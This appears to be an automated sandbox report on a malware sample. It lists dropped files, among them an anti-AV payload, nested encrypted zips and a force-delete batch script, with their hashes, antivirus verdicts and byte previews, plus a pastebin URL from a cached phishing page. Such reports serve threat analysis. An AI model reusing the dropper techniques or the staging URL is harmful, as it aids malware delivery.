Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ycl0ycrm.qvt.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\conhost.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3125704
Entropy (8bit):	7.990259949871784
Encrypted:	true
SSDEEP:	49152:MN5JrWK2CToOR1ewbLQZ5reodSTgYSFLDJzIAMAAAedMnMbw0gvbP/+3jxYQzbPI:MN5JrW2oo1ewbLQzegSTgNFLDRR4KMbw
MD5:	CE901A874C9D157E48F83B1BE3D32AA6
SHA1:	9BC12D5DB437C0673437E9FEAADD0027887D1C13
SHA-256:	35401B151F704F6BBBF4F8B36D886E4DC391809822181B396C02D243C0ACA7F0
SHA-512:	EA6511B4E318EB31E4DD8862CD7967906BD1705F2B1D6422B28424F0C810F9647702315B9BDCEA1FD32421E5D72B61027E9991DA6B779D6DE02B61E410EEB747
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@.................................X.0..............................................0...N...........u/..<..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....N...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Temp\logs.uce

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	729
Entropy (8bit):	5.11212271596743
Encrypted:	false
SSDEEP:	12:8G/y8vM/jwKdt//j/K3AEN6Qclfw/1127UwLnjDTwDMVFAi:8G/y8wj5djUNso/XUnLnjD0DMnAi
MD5:	ADE6854A8351E50758F93066F547C188
SHA1:	771278CB4FC00BDC54B95C2FE43C839F9D59FD6C
SHA-256:	FAA5DA36E19D42EA123A6765D50E6B27794DB08342850D1E36695332F8E47BC0
SHA-512:	3202F608789CAD4E8485B06344EACFE9AD48B197A4FAD94C9F15CAC07C7322BDB838F61F82955DA7C136952D61922E47E8CA4FB77CCBC7B47953D9943069C724
Malicious:	false
Preview:	[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->.. [if gt IE 8]> > <html class="no-js" lang="en-US"> <![endif]-->..<head>..<title>Suspected phishing site \| Cloudflare</title>..<meta charset="UTF-8" />..<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />..<meta http-equiv="X-UA-Compatible" content="IE=Edge" />..<meta name="robots" content="noindex, nofollow" />..<meta name="viewport" content="width=device-width,initial-scale=1" />..<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />.. [if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]-->..cp..https://pastebin.com/raw/dq3hWX27..

C:\Users\user\AppData\Local\Temp\main\7z.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\conhost.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1679360
Entropy (8bit):	6.278252955513617
Encrypted:	false
SSDEEP:	24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLP:jclmJSVARa86xzW3xRoyqqxrT
MD5:	72491C7B87A7C2DD350B727444F13BB4
SHA1:	1E9338D56DB7DED386878EAB7BB44B8934AB1BC7
SHA-256:	34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
SHA-512:	583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: gHPYUEh253.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 7aHn0kxDWZ.exe, Detection: malicious, Browse Filename: BlazeHack.exe, Detection: malicious, Browse Filename: CKHSihDX4S.exe, Detection: malicious, Browse Filename: XXZahG4d9Z.exe, Detection: malicious, Browse Filename: vD4M7DL9MY.exe, Detection: malicious, Browse Filename: n6o0pd9pZC.exe, Detection: malicious, Browse Filename: lfjG1UlwP1.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......\|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\conhost.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	468992
Entropy (8bit):	6.157743912672224
Encrypted:	false
SSDEEP:	6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
MD5:	619F7135621B50FD1900FF24AADE1524
SHA1:	6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
SHA-256:	344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
SHA-512:	2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: gHPYUEh253.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 7aHn0kxDWZ.exe, Detection: malicious, Browse Filename: BlazeHack.exe, Detection: malicious, Browse Filename: CKHSihDX4S.exe, Detection: malicious, Browse Filename: XXZahG4d9Z.exe, Detection: malicious, Browse Filename: vD4M7DL9MY.exe, Detection: malicious, Browse Filename: n6o0pd9pZC.exe, Detection: malicious, Browse Filename: lfjG1UlwP1.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\conhost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:	6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\main\extracted\AntiAV.data

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2343406
Entropy (8bit):	5.89551469554261
Encrypted:	false
SSDEEP:	24576:5yZBPkpRrP9pxC+XvoflcYy36s3vb0EecYy37n92k8GtGAQZ67hR7krC/Cyf0/xR:R9kqGu7okoZscCnf0/Zs9k
MD5:	AEFFE98F08187C1796B0C19E28AFF08F
SHA1:	418740DFB8FA1EA685F78D7641586FCA0417BF8F
SHA-256:	6659A9416A334434BDE5035F119D84E7FFDC74C0B1364650E0A323AFB191FD87
SHA-512:	29F085F81CEF17F233103AC553199EED25C81E89CB8EB9DF4F24B32C68763DCF7498B50ABA10252496B2F19587B57885365019AE694BBE5BD6EACAD8E25AF370
Malicious:	false
Preview:	KmO6sb9bzFlO6QmlyBR3cUuBrPdmJRJBhXshklfui2fRJCiITlYNEM2EqC9x9I0qVq7CGnIhkwh6hvGvu5pkfBRaoLATG90WNTmCTDFIBTSnd7l9KiCxIUJ5zlBvrKkHZaxyJb0N052Q1AaMDCASX2cw1ZaV1bKcufYPprTSqVIRscgIruKC2MOUPLxNBR1egyVxwSbedVhVl89lRxHAMRMf16G6Ry1TTz7dOtnEaLQowPwuw8eDnR20ZOyf9yYTVcpDsiS4K2VzryfyiwiOXZDq7UaTFrtOgtVQzuNXN74O8xkfvt4Ykzxcs60WfAkGZKsYbwZWS4bPPY8cze1vDL6leHmcDUIbsBvTleZtzGhgeYGdRaUmv5ljenoBZOBDIndh9KTa7zBVHuP4jAK8C2IKaB5BgFReYTleqD0cCkhTdxbkQAMwHPuKktcCRORGmFfE37OzhnpNUtRyIHoGBwau6RcKp6vTNwIWRMkDjZaejD2NS5TCgRvcwgZcldKIAtOqIN0TXMXlnX6scNgHltMTvvwSZbBsDdCGRINZlutVfbP6joQl5sw21ICykYYYKwRfLlfpREpOzuAjwo7oC8hJ4Tv652auJh1RujdaLcIfX5oB1GDuu95ojl52qB08Lzg7nIl7yDb4k9X8rUPZ857XTGTaXkhL77wwG75hAnvfazjbPfP5GZrDYRdhe2I0zSJZuV5aaWd5Imf8Ck0w9ALkKR7xhRlclC4FnJOBuXxpdcsG9gE8tgukaoXpzf4z0CHJ0VOfBNcErBEPyoWMZfee3Vfg2NyLVPvaC6c5HNC1mZSr0SpB1RAlj2w7ST9eZL5DUYwl8p6flt6I3p7MBJrZLlY3LgBSr5F4BYYU6sebHdx0ES2Ci6J9wBw0wGLCy8SeSDS45pkrvWvTZkvW2oFTNBda3aYJyut0zJi1Chjp4xQkH1cEMWZUOy7MueiWNcfeKZqM4Gg2hr7XoLoTQXyvcXvxeOwXoXJKXvu4

C:\Users\user\AppData\Local\Temp\main\extracted\Installer.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	625464
Entropy (8bit):	7.5510269559180125
Encrypted:	false
SSDEEP:	12288:dAcRtQRBRwAI/GE+g19EggvGkKj0cRgzAI/GE+g19EggvGkKj0cRgJ:rjybIeXuugoKocKUIeXuugoKocKJ
MD5:	89A069871324D35E25922F6FB881D514
SHA1:	985F31CD2E5B7B6C5AB6FF41CE33837987A06171
SHA-256:	7FAF92E0275F06214930A5EBBE11F1E98781CCD7CF4B95A0C23E5FCB013AD1AB
SHA-512:	9D8E49DE5D5947E8CC682CC70D81191B380260233F26EAB25BEB1398F745EF47EA297A4AAD6D0B30F87AC65EC5B90B5E4516AFABF57CCB519BC4FF6A002D1566
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......//.kN..kN..kN...%..aN...%...N...%..yN..9;..zN..9;..zN..9;..CN...%..bN..kN..0N..=;..jN..=;y.jN..kN..jN..=;..jN..RichkN..........................PE..L....v:a.................&...X)..............@....@................................^B....@.....................................d.....).................8.............8...............................@............@..H............................text...)%.......&.................. ..`.rdata...x...@...z.................@..@.data.....'.........................@....rsrc.........).....................@..@.reloc.............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\extracted\file_1.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	511531
Entropy (8bit):	7.998133089879453
Encrypted:	true
SSDEEP:	12288:J3Fvr/KrgOD4W/iTJxnZxZt84otoKPF7rcFC7L7:lFmr9DV6TJpZxXEL9rNX7
MD5:	392805D581FCA99EDCB5F947E3EBB2CC
SHA1:	49506423DE1FE1A89C50BF492E57998A590B9EE6
SHA-256:	4A4CD834312421431D41AA5A988FC2FBBCA4165961F9B023CFC2B21EFAD858ED
SHA-512:	7D191C9D592739BA54AD6D0BEEA26790B5020CEFAD5AD778FDB5695C13E848E7EFBFE43A1C9DA098DB1AE5E3BC758924746A3CAC2CE5C8AAE1371EBBBF50746A
Malicious:	false
Preview:	PK........Kn.Y..5....8.......Installer.exe.\}`.....K.pa...1.)A...4........)..&..i<.R......9.f8.....R.....?J/.&.........5J...l.o..H.....\|.y.f.....Zr...!I...iJ.^...H...c..I...$=9....V.\|.........Ol.....o..U.m....w..]~c...w.[.UzzZv...W..6.....in.W..X.."..W. .....{E.M.......~u.h..k......UD.......S.U.....:.._.)....6..V....^.n.h.4K...^s.(.=.&.&.F...KR..=.K.+...,u.:..@.v,....=6i.%v\...e;W.]....>z....M.mR.Y...l...t...5.U......sm. 1Vy<.W.n.j.[.[.........8..WY`.H.2.....<.!..U.6o..i.U.YJC..........9.. ~...pK....O.u._.J.4)...S<..Ai.-.......J&;.Q.9...J].u....Q...a..$..".?.4#.....w.....d...TI...J.......g.....t.i....S..m.H...1...E.J..+b.Rl,z....G)L?..... ...,..T..O.....@...5.......$....j,+.`.+b.oc;...X..,"U...&.6.f...J......].2.+...)...R...B.=....L.u........l....S.=..:....6..@t;.r...w..d..(bA..fAJ....q...u.....0:.......'...1...=A)...s6S.y.q<.[..N!.c.J.....f$.......@3..%Ic."f..X.u..<n9.v..=....a.`.n.e......u......d.....i^....XT.7._=9d.as....O3PdW.;%..,.V.

C:\Users\user\AppData\Local\Temp\main\extracted\file_10.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	512845
Entropy (8bit):	7.998150131603083
Encrypted:	true
SSDEEP:	12288:B/3FvrlOjguZKmxM1J/NPT5R82orQYR7truFC/Hd:BvFojtZ/u1JlPTLexxrD/d
MD5:	0067A8449FAD7927F7CCD78AD32DDC6C
SHA1:	53BF7574BF168C644D40E2404F2346528FB16F18
SHA-256:	CFAEEED5348C9AC2D172D31FD2CDFFB253D6BCBE44FC325D490BC368F5229989
SHA-512:	6D6D9734833DE212E92C242E08EEEE4BB6D8CEAC2EE6F2AC0BAFA30573E0EFBC8A1EF0DE071B71950D9AB3A524580BC9EEC9EB420E6AFA8A2711EF248372AF14
Malicious:	false
Preview:	PK........Rn.Y.I............file_9.zipd.Sl-l....;..S..]....m.v...m.;Hf2......\|w.b-%Yp.8..>.;.m...Z.yh.....o3............9h...?......f..,4.?....o...._.\..I..&...?...a.&.!y[gggR.......R....7...}.......9g...i.;....E.._...;.S../.....!..-.l..g-.G...e....z'{.....X..5?......O..u...G....?.@..0d..&l.FBVX.;2(P.#...$.......F..V..#.....VZ...p.....JNL...7~.d.Q&..../...+2..].a9..Oe........W..z ....lrh'G.+..$Y..........)\|......W.W.{..O...I.F.=....{$....m...F\|.<.......6n._.......U.z.H<l...6.<...S.V.......?'_........Dpw..@.....].L....j.....\|J..........u....w.l.....,_.............e-)..I.y.....VK...-\z.b..:O..b.E.=]..c.....\|.k.6`xo.[.'.B.7Z.$..B2L"....k....acN.........W.k..W......5.....f..~...<>............*T.h.u...](p..v..i...../d.....6.;.0.. ..l1....-KkJK..n..3.id..it...'...b...m....H.....]...1..%.bKO9...-..&D].[.O;....]....Bro..m...?,..(.`.....m.D..m.....v..ue......+...9yN.Cy=.U.\|.V.....sl\|.S..Go. .H.=.!?..V....),..w....wG...Q9.L.5...0..

C:\Users\user\AppData\Local\Temp\main\extracted\file_11.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	2180530
Entropy (8bit):	7.99835792425981
Encrypted:	true
SSDEEP:	49152:fujCK3D0AC/l5mwbBkDWYb1ZN4UJ9oc0/uNUrT1:faR3D0Ae5mwdkDWm1Xoe4T1
MD5:	7632984F9B26DBB8923DA2348366665B
SHA1:	C99703AD6DB21039BA169A60C106A08B2BCDB139
SHA-256:	69B1C0618D5418CE0E37171191F4AE23986B56779116ED29C3417089654FA897
SHA-512:	543750B4FD6BC31884296D8CF0BF8DAF56A90ED4223BD7B7650DC2B668DA4965718F1511459A2900AB8D975923256918415076A2F7E0FF2FAA454522097B1E95
Malicious:	false
Preview:	PK........Rn.Y.F._Cq....#.....AntiAV.data..E..@.D..C/qwg..;...mG.3H..\|...$..}.`..8......lV1..4...Cu.H.(l+{Cl.:........$+Nr....\.u.K_1N:k.'....F...... .....+.70..R.>..A..#6L.:..n..7......Y..y......v.,....=...e....fe.4.@...h..+....=.#...T......A..\|...{A.p{.b*.\|.[...Q...z.v.....iD.....W.....;...........YVL._._.F..4./g;syC.....e,.N..>t.43..p.T4?.K.....:Z.XDVS.gj.)cp..A9.7^.d.M.d.j..c:.(T<J._3-..8.,."s.'...B\.q...\..e.!..{l.\.]'.P.2}..l@^.G...{n..p..u.n.1;W..#..p.A.YD7.....,.o..z;.6T../.w..=.3K5..]............U...,r....n....(..I.....Q.o%.NF..Q.h$y.".7.tU..eVe.b.q.S4%"C..$g..iX..XQl..?Z.U.\|.g....&.d..Y.\|..5O...s.\|..A..@.Y1F.o.o.s.'UY.AU#....D.K.....A....=t.M..L4...{.....BF.Rg.-...j..p.c..'.2....].m..w37t...Rn.r....v....W..g0E......)-.6.=v/.9...o..~.mh.U.&...5.ld4k.gG.G.S.w4G..]'.5......r..Q.U.U.9.Vv....2.>....p.s.p..e....(..}Jox.....Z..[Y..ku.....5....s.././....:...v......h.u.ZlG.>).,.(....Ye<.....3...:T:)...-).=.L.=.2F....&H7..j..\.B6.Ox.\....

C:\Users\user\AppData\Local\Temp\main\extracted\file_2.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	511685
Entropy (8bit):	7.998145921569035
Encrypted:	true
SSDEEP:	12288:u3Fvr/KrgOD4W/iTJxnZxZt84otoKPF7rcFC7L7:YFmr9DV6TJpZxXEL9rNX7
MD5:	BD4D86CA5CBAE5438024F64045DB97F6
SHA1:	67BA58848842592A9E2F8DD2D1ED97FD3E7D38CB
SHA-256:	C64F47CE2527018D5D52CCFEA53103762A1D91146D09938237215AF6968DFAB3
SHA-512:	4B5DCE84CDF649CDDFA499A6F875FB00676051E650178A0A742EEA62B91CFF0055CF6B5D2C1517AC500398D531A6F4A02131ED9CCD135B3C4A5BA18D4E2DDCE7
Malicious:	false
Preview:	PK........Rn.Yr...+...+.......file_1.zipPK........Kn.Y..5....8.......Installer.exe.\}`.....K.pa...1.)A...4........)..&..i<.R......9.f8.....R.....?J/.&.........5J...l.o..H.....\|.y.f.....Zr...!I...iJ.^...H...c..I...$=9....V.\|.........Ol.....o..U.m....w..]~c...w.[.UzzZv...W..6.....in.W..X.."..W. .....{E.M.......~u.h..k......UD.......S.U.....:.._.)....6..V....^.n.h.4K...^s.(.=.&.&.F...KR..=.K.+...,u.:..@.v,....=6i.%v\...e;W.]....>z....M.mR.Y...l...t...5.U......sm. 1Vy<.W.n.j.[.[.........8..WY`.H.2.....<.!..U.6o..i.U.YJC..........9.. ~...pK....O.u._.J.4)...S<..Ai.-.......J&;.Q.9...J].u....Q...a..$..".?.4#.....w.....d...TI...J.......g.....t.i....S..m.H...1...E.J..+b.Rl,z....G)L?..... ...,..T..O.....@...5.......$....j,+.`.+b.oc;...X..,"U...&.6.f...J......].2.+...)...R...B.=....L.u........l....S.=..:....6..@t;.r...w..d..(bA..fAJ....q...u.....0:.......'...1...=A)...s6S.y.q<.[..N!.c.J.....f$.......@3..%Ic."f..X.u..<n9.v..=....a.`.n.e......u......d...

C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	511839
Entropy (8bit):	7.998154920833029
Encrypted:	true
SSDEEP:	12288:E3Fvr/KrgOD4W/iTJxnZxZt84otoKPF7rcFC7Lj:SFmr9DV6TJpZxXEL9rNXj
MD5:	8854D4E74C1AE01EAA463330A17CF2BD
SHA1:	9BFAB26E3B7CC05E4D94DE9930FD1428395458F3
SHA-256:	DF9ADC70A263FCEBE4F6EF88404AC0ACF424F2596F3F191A2FFB752B9D4BB064
SHA-512:	8C45E9A2F2187FA94DA24835B8F318741F682962211BFDEC5E5BA912112B5717DB4E4AED6E128C985FBEA016980F071D4961549F680B9FE0AB97884FA6559A0A
Malicious:	false
Preview:	PK........Rn.Y$..[............file_2.zipPK........Rn.Yr...+...+.......file_1.zipPK........Kn.Y..5....8.......Installer.exe.\}`.....K.pa...1.)A...4........)..&..i<.R......9.f8.....R.....?J/.&.........5J...l.o..H.....\|.y.f.....Zr...!I...iJ.^...H...c..I...$=9....V.\|.........Ol.....o..U.m....w..]~c...w.[.UzzZv...W..6.....in.W..X.."..W. .....{E.M.......~u.h..k......UD.......S.U.....:.._.)....6..V....^.n.h.4K...^s.(.=.&.&.F...KR..=.K.+...,u.:..@.v,....=6i.%v\...e;W.]....>z....M.mR.Y...l...t...5.U......sm. 1Vy<.W.n.j.[.[.........8..WY`.H.2.....<.!..U.6o..i.U.YJC..........9.. ~...pK....O.u._.J.4)...S<..Ai.-.......J&;.Q.9...J].u....Q...a..$..".?.4#.....w.....d...TI...J.......g.....t.i....S..m.H...1...E.J..+b.Rl,z....G)L?..... ...,..T..O.....@...5.......$....j,+.`.+b.oc;...X..,"U...&.6.f...J......].2.+...)...R...B.=....L.u........l....S.=..:....6..@t;.r...w..d..(bA..fAJ....q...u.....0:.......'...1...=A)...s6S.y.q<.[..N!.c.J.....f$.......@3..%Ic."f..X

C:\Users\user\AppData\Local\Temp\main\extracted\file_4.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	511993
Entropy (8bit):	7.998157069875339
Encrypted:	true
SSDEEP:	12288:V3Fvr/KrgOD4W/iTJxnZxZt84otoKPF7rcFC7Lk:pFmr9DV6TJpZxXEL9rNXk
MD5:	FEA1BC14AFA3E37F1E15EB337E72B12C
SHA1:	148F4DEBB7F4E31EE7C1C04A11C45B0083043156
SHA-256:	6C1795FC843B77D29BD5F103DFC100C8928B7551F01FD8135F21C078B8533A7F
SHA-512:	07BCF6FC543D31B6902CA156C3F84A34FE421A8056DDC6533CD32D67B1C3D10A554556C2C28EA656EC4540EDD3B82FE4C5F677115F7C1BBFE4BE7E0CC57CA1A3
Malicious:	false
Preview:	PK........Rn.Y..uB_..._.......file_3.zipPK........Rn.Y$..[............file_2.zipPK........Rn.Yr...+...+.......file_1.zipPK........Kn.Y..5....8.......Installer.exe.\}`.....K.pa...1.)A...4........)..&..i<.R......9.f8.....R.....?J/.&.........5J...l.o..H.....\|.y.f.....Zr...!I...iJ.^...H...c..I...$=9....V.\|.........Ol.....o..U.m....w..]~c...w.[.UzzZv...W..6.....in.W..X.."..W. .....{E.M.......~u.h..k......UD.......S.U.....:.._.)....6..V....^.n.h.4K...^s.(.=.&.&.F...KR..=.K.+...,u.:..@.v,....=6i.%v\...e;W.]....>z....M.mR.Y...l...t...5.U......sm. 1Vy<.W.n.j.[.[.........8..WY`.H.2.....<.!..U.6o..i.U.YJC..........9.. ~...pK....O.u._.J.4)...S<..Ai.-.......J&;.Q.9...J].u....Q...a..$..".?.4#.....w.....d...TI...J.......g.....t.i....S..m.H...1...E.J..+b.Rl,z....G)L?..... ...,..T..O.....@...5.......$....j,+.`.+b.oc;...X..,"U...&.6.f...J......].2.+...)...R...B.=....L.u........l....S.=..:....6..@t;.r...w..d..(bA..fAJ....q...u.....0:.......'...1...=A)...s6S.y

C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	512147
Entropy (8bit):	7.998155444192939
Encrypted:	true
SSDEEP:	12288:w3Fvr/KrgOD4W/iTJxnZxZt84otoKPF7rcFC7L4:GFmr9DV6TJpZxXEL9rNX4
MD5:	FC6106C411428E421DE593673892B72F
SHA1:	B5C1F38E1198E26FA2C2B786000E797676794045
SHA-256:	C165A3D777629605669D5C7AC7D55240A8DF0CB59686DD91D8A6111C03C67EBE
SHA-512:	BF46CA3B6E8DFED16CD701E05E194EB77B7E94FDE74DB260C7E9F679768DD7A1D516A20DE5ECE5E04B850D9582127A883F174C22CD2F47786EB53258EE4DD4A4
Malicious:	false
Preview:	PK........Rn.Y...............file_4.zipPK........Rn.Y..uB_..._.......file_3.zipPK........Rn.Y$..[............file_2.zipPK........Rn.Yr...+...+.......file_1.zipPK........Kn.Y..5....8.......Installer.exe.\}`.....K.pa...1.)A...4........)..&..i<.R......9.f8.....R.....?J/.&.........5J...l.o..H.....\|.y.f.....Zr...!I...iJ.^...H...c..I...$=9....V.\|.........Ol.....o..U.m....w..]~c...w.[.UzzZv...W..6.....in.W..X.."..W. .....{E.M.......~u.h..k......UD.......S.U.....:.._.)....6..V....^.n.h.4K...^s.(.=.&.&.F...KR..=.K.+...,u.:..@.v,....=6i.%v\...e;W.]....>z....M.mR.Y...l...t...5.U......sm. 1Vy<.W.n.j.[.[.........8..WY`.H.2.....<.!..U.6o..i.U.YJC..........9.. ~...pK....O.u._.J.4)...S<..Ai.-.......J&;.Q.9...J].u....Q...a..$..".?.4#.....w.....d...TI...J.......g.....t.i....S..m.H...1...E.J..+b.Rl,z....G)L?..... ...,..T..O.....@...5.......$....j,+.`.+b.oc;...X..,"U...&.6.f...J......].2.+...)...R...B.=....L.u........l....S.=..:....6..@t;.r...w..d..(bA..fAJ....q

C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	512233
Entropy (8bit):	7.99811336541424
Encrypted:	true
SSDEEP:	12288:33Fvrpo5g6ZWKHEDJnv73rP8woTiizbxr+FCrNK:HFy5fZdkDJv73bChNrTRK
MD5:	DFCB1DBB6A046FD464412CCD1DAE66FE
SHA1:	512DBB73C6BDC9DB181C48BC3BADDFCB36BD018F
SHA-256:	0CC1DD7548213C1868612CDB992F566AA701D77A9AE018C709C450561DD22AD9
SHA-512:	AF57425587F0590E80386BC947A06330F785B1130A4CC34AAA48008EB74D17F5618D59FBBD796CFCB2F2B207CC07413E0878FFFB625239ABE2869B653F9F9780
Malicious:	false
